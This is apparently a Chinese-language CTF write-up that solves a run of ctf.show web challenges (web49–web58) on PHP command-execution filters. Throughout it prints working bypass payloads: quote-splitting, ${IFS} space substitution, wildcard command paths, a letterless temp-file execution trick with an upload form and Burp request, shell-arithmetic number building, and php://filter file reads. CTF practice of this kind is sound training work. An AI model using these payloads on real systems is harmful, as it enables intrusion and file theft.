web49
解答: 过滤的内容依旧只是命令的字符串,过滤了$
所以不能拼接,*
不能使用通配符,过滤了%
不能用换行%0a
之类的过滤。
web46的第二个payload可以使用。
nl<fla''g.php||
web50
解答:新增过滤了x09和x26,是tab键和&
,tab可以代替空格,&是连接符。
上题payload继续可用。?c=nl<fla''g.php||
web51
解答: 增加了一个命令tac
的过滤上题,不影响,上题的payload依旧可用
web52
解答: $
没过滤,大小于号过滤了,可以用${IFS}
绕过空格
?c=nl${IFS}/fla''g||
(flag没有放在flag.php中,而是根目录下的/flag中)
或者nl$IFS/fla''g||
web53
解答: 增加了一个命令wget
的过滤,上题payload可用,?c=nl${IFS}fla''g.php
wget
是linux上的命令行的下载工具。
web54
解答: 不能用简单的字符绕过了,而且nl也被过滤了,没有过滤?
。
可以通过?
和完整的命令路径来使用命令。
?c=/bin/?at${IFS}f???????
web55
解答: 过滤了字母和%等信息,之前的异或不能用了。用无字母数字的命令执行。(来源phith0n大佬,个人博客是离别歌)
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://f2ef59eb-65f2-45f1-ba08-9e5def4312f5.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
抓包,下附抓包内容。
需要时修改HOST地址为题目地址即可。修改时注意没有http://
,最后也没有/
结尾,不去掉会出错。
payload:?c=.+/???/????????[@-[]
后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
后续我拿我之前做的记录截图,就不再重做了,用的还是以前的burp。
附上burp传递的内容。
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: c384457a-592d-4547-adad-4b8552845e94.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------397130793013726083754245254477
Content-Length: 364
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ctf/web/php/upload.html
Cookie: UM_distinctid=174ba7e36f4893-09d527032ef6bb8-4c3f247a-15f900-174ba7e36f6938
Upgrade-Insecure-Requests: 1
-----------------------------397130793013726083754245254477
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
#!/bin/sh
ls
-----------------------------397130793013726083754245254477
Content-Disposition: form-data; name="submit"
鎻愪氦
-----------------------------397130793013726083754245254477--
web56
解答: 方法同上,host修改一下就可以用。
web57
解答:过滤了字母和数字,题目提示flag在36.php中,所以,我们要构造数字36。
shell中$(( )) 与 ( ) 还有 ( ) 还有 ()还有{ }的区别
${_}
:代表上一次命令执行的结果,之前没有命令返回或者执行,结果应该是空,与""
等价
$(())
: 做运算
$((""))
值为0,$((~$((""))))
值为-1,---->$(($((~$((""))))$((~$((""))))))
结果是(-1-1=-2)
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
#拼接得到-37 , -37取反得到36
${_} ="" //返回上一次命令
#也可以payload:
$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))
web58
解答:有一些函数被禁用了,具体的不清楚,测试的几个常用的不能用。注意是post传递,不是get
可以使用伪协议:c=include "php://filter/read=convert.base64-encode/resource=flag.php";
或者:c=show_source('flag.php');